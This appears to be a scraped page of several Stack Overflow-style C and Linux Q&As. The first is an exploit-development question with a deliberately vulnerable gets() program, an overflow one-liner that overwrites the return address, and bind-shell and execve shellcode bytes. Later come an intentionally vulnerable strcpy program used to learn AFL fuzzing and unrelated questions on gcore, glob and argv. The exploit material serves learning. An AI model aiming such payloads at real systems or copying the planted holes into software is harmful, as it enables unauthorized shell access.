Trying to learn more about exploit dev and building shellcodes, but ran into an issue I don't understand the reason behind.
Why am I not able to run a shellcode such as execve("/bin/sh") and spawn a shell I can interact with?
While on the other hand, I'm able to create a reverse / bind_tcp shell and connect to it with netcat.
Sample program:
// gcc vuln.c -o vuln -m32 -fno-stack-protector -z execstack
#include <stdio.h>
#include <string.h>
void test() {
char pass[50];
printf("Password: ");
gets(pass);
if (strcmp(pass, "epicpassw0rd") == 0) {
printf("Woho, you got it!\n");
}
}
int main() {
test();
__asm__("movl $0xe4ffd4ff, %edx"); // jmp esp, call esp - POC
return(0);
}
Sample Exploit:
python -c "print 'A'*62 + '\x35\x56\x55\x56' + 'PAYLOAD'" | ./vuln
Sample Payload (working):
msfvenom -p linux/x86/shell_bind_tcp LPORT=4444 LHOST="0.0.0.0" -f python
\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x5b\x5e\x52\x68\x02\x00\x11\x5c\x6a\x10\x51\x50\x89\xe1\x6a\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd\x80\x43\xb0\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80
Tested multiple different execve("/bin/sh") samples, as well as creating my own, then compiled them to verify they work before using it as payload.
Such as: https://www.exploit-db.com/exploits/42428/
When the shellcode execve(/bin/sh) executes, it has no connected standard input (because of GETS) and will terminate.
The solution is to close stdin descriptor, reopen /dev/tty before executing /bin/sh.
#include <unistd.h>
#include <stdio.h>
#include <sys/fcntl.h>
int main(void) {
char buf[50];
gets(buf);
printf("Yo %s\n", buf);
close(0);
open("/dev/tty", O_RDWR | O_NOCTTY);
execve ("/bin/sh", NULL, NULL);
}
Related answer: execve("/bin/sh", 0, 0); in a pipe
It is also possible to execute the payload by using
( python -c "print 'A'*62 + '\x35\x56\x55\x56' + '\x31\xc0\x99\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80'"; cat ) | ./vuln
Related
I am trying AFL for the first time, and for that reason i found a very simple vulnerable C code that i could use to test AFL.
The C code in questions is
#include <stdio.h>
#include <string.h>
int main(int argc, char * argv[]){
char name[10];
if ( argc > 1 ){
strcpy(name, argv[1]);
printf("HELLO %s\n", name);
}
return 0;
}
I compile that code by running afl-gcc test.c -o test and i tested it just to make sure it crashes when it was suppose to (running ./test $(python3 -c "print('A'*26)") will give a segmentation fault as expected)
The problem here is, i created a testcase echo -en "test\x00" > input/testcase and run AFL afl-fuzz -i afl_in -o afl_out -- ./test but after a day it still hasn't found any crashes.
I also tried to create a test case that would force it crash python3 -c "print('A'*26)" > input/testcase but it still runs and does not find anything.
This was suppose to be the easiest example so i could get to know AFL a bit better but it is proving to be a challege. Can anyone help?
Just as Nick ODell post it in the comments
Seems like AFL expects the program under test to read from STDIN rather than an argument. github.com/google/AFL#6-fuzzing-binaries
Following that URL shows an experimental module that allows for AFL to read from an argument, and for that to work i just had to add 2 lines to my existing code:
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include "argv-fuzz-inl.h" // <-- Argv fuzz module
int main(int argc, char * argv[]){
AFL_INIT_ARGV(); // <-- needed near the very beginning of main().
char name[10];
if ( argc > 1 ){
strcpy(name, argv[1]);
printf("HELLO %s\n", name);
}
return 0;
}
After that i just compiled it again and everything worked as expected.
Think of this as a continuation of the good advice here:
https://stackoverflow.com/a/56780616/16739703
except that I am hoping not to modify the child process.
Edit: I have written code which minimises to:
#include <errno.h>
#include <stdio.h>
#include <fcntl.h>
#include <stdlib.h>
#include <unistd.h>
int main(int argc, char *argv[], char *envp[]) {
int init_flags=fcntl(0, F_GETFL, 0);
if (fcntl(0, F_SETFL, init_flags | O_ASYNC)) {
perror("fcntl...F_SET_FL....O_ASYNC");
exit(1);
}
if (fcntl(0, F_SETOWN, getpid())) {
perror("fcntl...F_SETOWN...)");
exit(1);
}
if (execve(argv[1], argv+1, envp)) {
perror("execve");
exit(1);
}
return 1;
}
and this makefile:
all: morehup
CFLAGS=-g -D_GNU_SOURCE
LDFLAGS=-g
so that, with this procedure:
parent> export TMPDIR="$(mktemp -d)"
parent> mkfifo $TMPDIR/fifo
parent> sh
# you get a new shell, probably with a different prompt
parent> exec 7<>$TMPDIR/fifo
# must be both input and output, or the process stalls
child> TMPDIR=... # as other shell
child> ./morehup <$TMPDIR/fifo /bin/sh -c "while true; do date; sleep 5; done"
# you get a list of dates
parent> exit
child> I/O possible # followed by a prompt, with no more dates
the kernel will kill the child when the parent exits.
The more configurable version is here:
https://github.com/JamesC1/morehup/blob/main/morehup.c
I have two questions:
What are the chances of adding modest amounts of code, so that this will mostly work for most of the common *nix?
Is there a posix utility that already does something like this? ie am I reinventing the wheel, and if so, what is it called?
I'm trying to run a simple program from command prompt for educational prupose to demonstrate the parameter exchange between a c program and operating system. I got the following output.
I implemented the following code. Please ignore some of the printf outputs. They're written in German. I know I run the program with less parameter. The output should be a hint on program was run with less parameter instead.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[]) {
if(argc < 4)
printf("Das Programm wurde mit %d anstatt den notwendigen 4 Parametern "
"gestartet.", argc);
else {
int modus = atoi(argv[1]);
double niveau = atof(argv[2]);
char datei[13];
size_t strlcpy = strlcpy(datei, argv[3], (int)sizeof(datei) - 1);
printf("\n\nMAIN-Parameter");
printf("\n#Parameter:\t%d", argc);
printf("\nProgrammname:\t%s", argv[0]);
printf("\nModus:\t%d", modus);
printf("\nNiveau:\t%f", niveau);
printf("\nDatei:\t%s", datei);
}
return 0;
}
Appreciate your input.
Cheers
Install gcc and some other compiler tools into your cygwin:
C:\cygwin64>setup-x86_64.exe -q -P wget -P gcc-g++ -P make -P diffutils -P libmpfr-devel -P libgmp-devel -P libmpc-devel
Open a cygwin terminal. Compile your source:
$ gcc main.c -o main
Run your binary with the arguments:
$ ./main 1 2 date
Is it possible to generate a mini core dump for debugging purpose without crashing the process. Let's say if a function receives an unexpected value, just printing logs and returning gracefully might not be sufficient to debug the issue. On the other hand, if i can get a screenshot of memory and look at the stack, i could find more useful information to debug.
Yes,
According to gdb's documentation, once attached with gdb you may issue the following command:
(gdb) gcore
(gdb) q
This will dump the core to "core.pid" without crashing the process.
or this one-liner:
sudo sh -c 'echo gcore <output_core> | gdb -p <pid>'
There is not building function to do that, you could use ptrace() to debug your own process but it would not be easy. Call gcore is the easiest method.
#include <stdio.h>
#include <unistd.h>
#include <inttypes.h>
#include <sys/wait.h>
int main(void) {
pid_t parent = getpid();
pid_t pid = fork();
if (pid < 0) {
// oh dear we are on trouble
} else if (pid == 0) {
char tmp[42];
snprintf(tmp, sizeof tmp, "%" PRIdMAX, (intmax_t)parent);
execvp("gcore", (char *[]){"gcore", tmp, NULL});
} else {
int wstatus;
waitpid(pid, &wstatus, 0);
}
}
I have to program a shell in C and need to handle globing in it and I am only allowed to use the function glob. But when I try to use it, it only gives me one result back.
#include <glob.h>
#include <stdlib.h>
int main(int ac, char **av)
{
glob_t s;
unsigned long i = -1;
if (glob(av[1], 0, NULL, &s))
printf("ERROR !\n");
else
while (++i < s.gl_pathc)
printf("%s\n", s.gl_pathv[i]);
return (0);
}
I run this code in a folder where there is two C files : replace_glob.c and test.c
And when I run this code :
$ ./a.out *.c
replace_glob.c
$
I dont understand why and I would really appreciate your help
In the command line
./a.out *.c
the shell expands the glob pattern, so your program sees
{"./a.out", "replace_glob.c", "test.c", NULL}
as its argv. You need to quote the pattern for the program to see it:
./a.out '*.c'